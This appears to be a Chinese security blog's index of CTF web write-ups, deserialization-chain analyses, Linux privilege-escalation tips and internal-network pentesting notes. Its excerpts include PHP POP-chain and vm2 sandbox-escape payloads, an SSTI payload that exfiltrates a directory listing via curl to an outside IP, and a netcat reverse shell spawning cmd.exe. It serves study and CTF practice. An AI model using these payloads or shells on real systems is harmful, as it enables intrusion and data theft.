2020 强网杯 web
强网杯的质量还是很高,只做出了一道web : )
web辅助
php反序列化字符串逃逸
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586// common.php<?phpclass player{ protected $user; protected $pass; protected $admin; public function __construct($user, $pass, $admin = 0){ $this->user = $user; $this->pass = $pass; $this->admin = $admin; } public function ge ...
2020 CISCN Web
划水的国赛Web
babyunserializewww.zip源码泄露
参考 http://blog.ccreater.top/ wmctf 2020 webweb
1234567891011121314151617181920212223242526272829303132333435<?phpnamespace DB{ abstract class Cursor implements \IteratorAggregate {}}namespace DB\SQL{ class Mapper extends \DB\Cursor{ protected $props=["quotekey"=>"call_user_func"], $adhoc=["phpinfo"=>["expr"=>""]], $db; function offsetExists($of ...
Shiro 1.2.4 反序列化链分析
环境搭建123git clone https://github.com/apache/shiro.git cd shirogit checkout shiro-root-1.2.4
编辑pom.xml,添加如下jar包
123456789101112131415161718192021<!-- 需要设置编译的版本 --> <properties> <maven.compiler.source>1.6</maven.compiler.source> <maven.compiler.target>1.6</maven.compiler.target> </properties>... <dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl< ...
ThinkPHP6.0反序列漏洞分析
环境搭建
thinkphp 6.0.2
PHP 7.4.7
修改index页面如下
123456789101112<?phpnamespace app\controller;use app\BaseController;class Index extends BaseController{ public function poc() { echo base64_decode($_POST['payload']); unserialize(base64_decode($_POST['payload'])); }}
POP链全局搜索__destruct,找到Model模块的,满足$this->lazySave == true条件,进入代码[1]
12345678// vendor/topthink/think-orm/src/Model.phppublic function __destruct(){ if ($this-&g ...
2020-GKCTF-WEB
找了个时间复现了 GKCTF 的 WEB 题目
[GKCTF2020]CheckIN代码执行
进去给到源码,给了我们一个小马
12345678910111213141516171819<?php highlight_file(__FILE__);class ClassName{ public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { re ...
Linux提权小知识
稍微总结了一下关于 Linux 提权的小知识
内核提权查看发行版本
123cat /etc/issuecat /etc/*-releaselsb_release -a
查看内核版本
1uname -a
大多内核漏洞通过内核版本能很快查到
用 kali 自带的 searchsploit 来搜索 exploitdb 中的漏洞利用代码
根据自己的搜索结果,增加搜索选项,缩小结果范围
1searchspoit priv esc linux 2.6 ubuntu
利用第三方工具搜集信息
linux-exploit-suggester
Linux_Exploit_Suggester 能够列举出给定内核在每个公开的Linux内核漏洞上的暴露情况。
Example:
./linux-exploit-suggester.sh –uname
linux-exploit-suggester-2
Linux_Exploit_Suggester 是一款根据操作系统版本号自动查找相应提权脚本的工具,如果不带任何参数运行该脚本的话,将执行 uname -r 返回的操作系统发行版本,或 ...
BUUCTF-2
补一下最近的 BUUCTF 做题记录
[HFCTF2020]JustEscapeNode.js
利用报错可以得知前端 php ,后端是 vm2
1234(function(){var err = new Error();return err.stack;})();
去 github 搜索 vm2 的漏洞找到以下的 payload
https://github.com/patriksimek/vm2/issues/225
12345678(function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModu ...
BUUCTF-1
补一下之前做的 BUUCTF 的一些练习
[GWCTF 2019]你的名字SSTI 模板注入,输入以下会报错
1{{2*2}}
我们可以用以下绕过
1{% if xxx %} 1 {% endif %}
经过 fuzz 之后以下关键词被绕过,原理是直接 replace,可以插入黑名单绕过
优先 python2,优先命令执行,见到 waf 就插 ifconfig,试出以下 payload
不知道为什么内网的 requests curl 不了,所以就开了台内网的机子
1{% iconfigf ().__claconfigss__.__basconfiges__[0].__subclconfigasses__()[59].__init__.func_globaconfigls.linecache.oconfigs.popconfigen("curl http://174.0.234.231:9000/`ls /|base64`").read()%}kk{% ...
MD上传图床小工具
简单地整了一个 MarkDown 本地图片一键上传 SM.MS 的小工具
1https://github.com/Tyaoo/SMMS
内网渗透——Kerberos篇
对内网渗透一些东西的小记录
WinXP配置PowerShell
安装.NET Framework 2.0 Service Pack 2
https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=1639
安装WindowsXP-KB926140-v5-x86-CHS.exe
https://download.cnet.com/Microsoft-Windows-PowerShell-1-0-for-Windows-XP/3000-2070_4-75450849.html
Windows反弹shellnc反弹shell12345# Attackernc -vlp 9999# Victimnc.exe 192.168.255.128 9999 -e c:\WINDOWS\system32\cmd.exe
powercathttps://github.com/besimorhino/powercat
123456# Attackernc -lvp 6666 或 powercat -l -p 6666# Victi ...